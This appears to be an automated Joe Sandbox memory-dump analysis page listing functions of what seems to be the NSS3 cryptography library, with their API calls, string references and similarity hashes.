Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 45fa3f61e225dfacee7b47b92557fe51d90823264646a8d3791bc7cee5c244ed
Instruction ID: 8adbe5b4bb70e569c90ba60106e211b0e1448c43c8c0d2487d6c88da20b3597e
Opcode Fuzzy Hash: 45fa3f61e225dfacee7b47b92557fe51d90823264646a8d3791bc7cee5c244ed
Instruction Fuzzy Hash: D131F6A4B43341DBE7401A649DC8F677B78AF0234CF340031FD76A6B81EB62E912D656

Function 6CEC6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF91DE0,?), ref: 6CEC6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CEC6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CEC6D82
DER_GetInteger_Util.NSS3(?), ref: 6CEC6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEC6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CEC6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CEC6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CEC6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CEC6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEC7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CEC7033
free.MOZGLUE(?), ref: 6CEC703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CEC7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CEC7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CEC70AF

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: fc3e15e8bf377f937d5902d734014947511ace464a39e53780099029e2b2db2e
Instruction ID: 79b346b2ff4dd00bf212daebcf483338c1bb4c87fe9fa20b0fec65c7595b294b
Opcode Fuzzy Hash: fc3e15e8bf377f937d5902d734014947511ace464a39e53780099029e2b2db2e
Instruction Fuzzy Hash: 34A1F471B142409BEB009E24DE42BBB36B8DB8130CF34493AE979CBB91E735D9458753

Function 6CE8AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE6AB95,00000000,?,00000000,00000000,00000000), ref: 6CE8AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE6AB95,00000000,?,00000000,00000000,00000000), ref: 6CE8AF39
PR_Unlock.NSS3(?,?,?,6CE6AB95,00000000,?,00000000,00000000,00000000), ref: 6CE8AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE6AB95,00000000,?,00000000,00000000,00000000), ref: 6CE8AF69
TlsGetValue.KERNEL32 ref: 6CE8B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE8B083
PR_Unlock.NSS3(?), ref: 6CE8B0A4
TlsGetValue.KERNEL32 ref: 6CE8B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE8B0D9
PR_Unlock.NSS3 ref: 6CE8B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE8B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE8B182

Part of subcall function 6CEBFAB0: free.MOZGLUE(?,-00000001,?,?,6CE5F673,00000000,00000000), ref: 6CEBFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE8B177

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE6AB95,00000000,?,00000000,00000000,00000000), ref: 6CE8B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE6AB95,00000000,?,00000000,00000000,00000000), ref: 6CE8B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE6AB95,00000000,?,00000000,00000000,00000000), ref: 6CE8B1C2

Part of subcall function 6CEB1560: TlsGetValue.KERNEL32(00000000,?,6CE80844,?), ref: 6CEB157A
Part of subcall function 6CEB1560: EnterCriticalSection.KERNEL32(?,?,?,6CE80844,?), ref: 6CEB158F
Part of subcall function 6CEB1560: PR_Unlock.NSS3(?,?,?,?,6CE80844,?), ref: 6CEB15B2

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 975e43a2be1eacb5c907efcc48b921c8aecfef814cc51c9b214e316f6f0ef6ff
Instruction ID: e058b41f3bb29557f11376fbe8064f8f679b3a9cc65790c21a1c04f920b4bdf4
Opcode Fuzzy Hash: 975e43a2be1eacb5c907efcc48b921c8aecfef814cc51c9b214e316f6f0ef6ff
Instruction Fuzzy Hash: 92A170B6E012059BEF019F64DC81BAAB7B4FF0530CF244129E909AB751E731E959CBA1

Function 6CE82C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE7E477,?,?,?,00000001,00000000,?,?,6CE83F23,?), ref: 6CE82C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE7E477,?,?,?,00000001,00000000,?,?,6CE83F23,?), ref: 6CE82C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE7E477,?,?,?,00000001,00000000,?,?,6CE83F23,?), ref: 6CE82C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE7E477,?,?,?,00000001,00000000,?,?,6CE83F23,?), ref: 6CE82C93

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE7E477,?,?,?,00000001,00000000,?,?,6CE83F23,?), ref: 6CE82CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE7E477,?,?,?,00000001,00000000,?,?,6CE83F23,?), ref: 6CE82CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE7E477,?,?,?,00000001,00000000,?,?,6CE83F23), ref: 6CE82CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE7E477,?,?,?,00000001,00000000,?), ref: 6CE82CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE7E477,?,?,?,00000001,00000000,?), ref: 6CE82D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE82D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE82D71
PR_Unlock.NSS3(?), ref: 6CE82D7E

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

Strings

#?l, xrefs: 6CE82C43

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 49b98963eb39360929a69c413069faaa78e6dafb7b7d3bd25a387f9e02796415
Instruction ID: 342ff8b17004b14a54cebf76927551e6be9191317b192de3d774208a078e77a9
Opcode Fuzzy Hash: 49b98963eb39360929a69c413069faaa78e6dafb7b7d3bd25a387f9e02796415
Instruction Fuzzy Hash: BC51E5B6D01205ABDB01AF24DC859AABB78FF2535CB248524EC1C97B12F731E964C7E1

Function 6CEDAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEDADB1

Part of subcall function 6CEBBE30: SECOID_FindOID_Util.NSS3(6CE7311B,00000000,?,6CE7311B,?), ref: 6CEBBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEDADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CEDAE08

Part of subcall function 6CEBB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF918D0,?), ref: 6CEBB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEDAE25
PL_FreeArenaPool.NSS3 ref: 6CEDAE63
PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CEDAE4D

Part of subcall function 6CDE4C70: TlsGetValue.KERNEL32(?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4C97
Part of subcall function 6CDE4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CB0
Part of subcall function 6CDE4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEDAE93
PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CEDAECC
PL_FreeArenaPool.NSS3 ref: 6CEDAEDE
PL_FinishArenaPool.NSS3 ref: 6CEDAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEDAEF5
PL_FinishArenaPool.NSS3 ref: 6CEDAF16

Strings

security, xrefs: 6CEDADEE

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 6b4260688578b36291d9d12e524ecb5630f61f2b1e6a85d21db7fe7e5ede63ef
Instruction ID: 51cffa7dc98531aeaff9ea90eb648156dd1bae2f4220dc1b7b0498ce7757e105
Opcode Fuzzy Hash: 6b4260688578b36291d9d12e524ecb5630f61f2b1e6a85d21db7fe7e5ede63ef
Instruction Fuzzy Hash: B341F7B198420167E7215A24DC45BBB32B8AF4230CF350529EC1496B41EB35BB8AC7E3

Function 6CF7AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF29890: TlsGetValue.KERNEL32(?,?,?,6CF297EB), ref: 6CF2989E

EnterCriticalSection.KERNEL32(?), ref: 6CF7AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF7AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF7AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF7AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF7B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF7B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF7B070
PR_JoinThread.NSS3(?), ref: 6CF7B07B
free.MOZGLUE(?), ref: 6CF7B084
EnterCriticalSection.KERNEL32(?), ref: 6CF7B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF7B0C4
PR_JoinThread.NSS3(?), ref: 6CF7B0F3
free.MOZGLUE(?), ref: 6CF7B0FC
PR_JoinThread.NSS3(?), ref: 6CF7B137
free.MOZGLUE(?), ref: 6CF7B140

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 7496e159b39c59be8a523ef9a3aaaf4185f48891f23b5ddd485ce367743f753c
Instruction ID: 3f8624ad25499f94edb886e6732d798a9e4ac1fc44a0c5e53de802b28743b986
Opcode Fuzzy Hash: 7496e159b39c59be8a523ef9a3aaaf4185f48891f23b5ddd485ce367743f753c
Instruction Fuzzy Hash: 579171B5900601DFCB14DF14D88498ABBF1FF49318729856AD8199BB21EB32FD45CB91

Function 6CE82980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE69E71,?,?,6CE7F03D), ref: 6CE829A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE69E71,?), ref: 6CE829B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE69E71,?,?,6CE7F03D), ref: 6CE829E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE69E71,?), ref: 6CE829F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE69E71,?), ref: 6CE82A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE69E71), ref: 6CE82A13

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

PR_Unlock.NSS3(?), ref: 6CE82A6A
TlsGetValue.KERNEL32 ref: 6CE82A98
EnterCriticalSection.KERNEL32(?), ref: 6CE82AAC
PL_HashTableLookup.NSS3(?,?), ref: 6CE82ABC
PR_Unlock.NSS3(?), ref: 6CE82AC9
TlsGetValue.KERNEL32 ref: 6CE82B3D
EnterCriticalSection.KERNEL32(?), ref: 6CE82B51
PL_HashTableLookup.NSS3(?,6CE69E71), ref: 6CE82B61
PR_Unlock.NSS3(?), ref: 6CE82B6E

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 1cd363bad3bbf4c31d55aedeb2f0e34ab507e8928a92cd694d037c2e5f97f16e
Instruction ID: 5e9f936bf508b8a9a748395238f843a5fe58ea09f856d198e09e6d6cfe6c69b9
Opcode Fuzzy Hash: 1cd363bad3bbf4c31d55aedeb2f0e34ab507e8928a92cd694d037c2e5f97f16e
Instruction Fuzzy Hash: F7710476D01204ABDB109F24DC449AABB78EF2635CB258564EC1C9BB12FB31E965C7E0

Function 6CEF5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CEF2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEF2A28,00000060,00000001), ref: 6CEF2BF0
Part of subcall function 6CEF2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEF2A28,00000060,00000001), ref: 6CEF2C07
Part of subcall function 6CEF2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CEF2A28,00000060,00000001), ref: 6CEF2C1E
Part of subcall function 6CEF2BE0: free.MOZGLUE(?,00000000,00000000,?,6CEF2A28,00000060,00000001), ref: 6CEF2C4A

free.MOZGLUE(?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF5D0F
free.MOZGLUE(?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF5D4E
free.MOZGLUE(?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF5D62
free.MOZGLUE(?,?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF5D85
free.MOZGLUE(?,?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF5D99
free.MOZGLUE(?,?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEF5E3E
free.MOZGLUE(?,?,?,?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEF5E47
free.MOZGLUE(?,?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEF80C1), ref: 6CEF5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CEFAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEF5E78
free.MOZGLUE(?,?,?,?,?,?,?,6CEFAAD4), ref: 6CEF5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CEFAAD4), ref: 6CEF5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CEF5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CEF5F4B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 566cf3d67479528789502f341cdf1ce03a4e3d9158204f3941b62d6a0623d584
Instruction ID: 734e951ff2f4cff35119f32e2fd07bbf39da16e381582bae6163cab02b9ae864
Opcode Fuzzy Hash: 566cf3d67479528789502f341cdf1ce03a4e3d9158204f3941b62d6a0623d584
Instruction Fuzzy Hash: CB719CB4A01B019FD710CF24D884A93B7F5BF99308F248529E86E97B11EB32F955CB91

Function 6CE78DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE78E22
EnterCriticalSection.KERNEL32(?), ref: 6CE78E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE78E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE78E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE78E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE78EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE78EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE78EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE78F00
free.MOZGLUE(?), ref: 6CE78F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE78F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE78F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE78F5B
PR_Unlock.NSS3(?), ref: 6CE78F72
PR_Unlock.NSS3(?), ref: 6CE78F82

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: a1c6f5d94e40ff0314b3f3bf5b58dbd1a4b8b6f5586ff9b2196117ba761a202f
Instruction ID: 1ed90bd20a5615bcc96144869499c887873416e07fb10e7fa73e27411ba6d3d8
Opcode Fuzzy Hash: a1c6f5d94e40ff0314b3f3bf5b58dbd1a4b8b6f5586ff9b2196117ba761a202f
Instruction Fuzzy Hash: 155118B2E002059FD7309F68CC859AABB79EF65358B24412AEC18AB700E731ED45C7F1

Function 6CE9CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CE9CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE9CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CE9CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CE9CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CE9CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE9CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CE9CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CE9CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CE9CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CE9CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CE9CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CE9CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CE9CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CE9D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CE9D021

Memory Dump Source

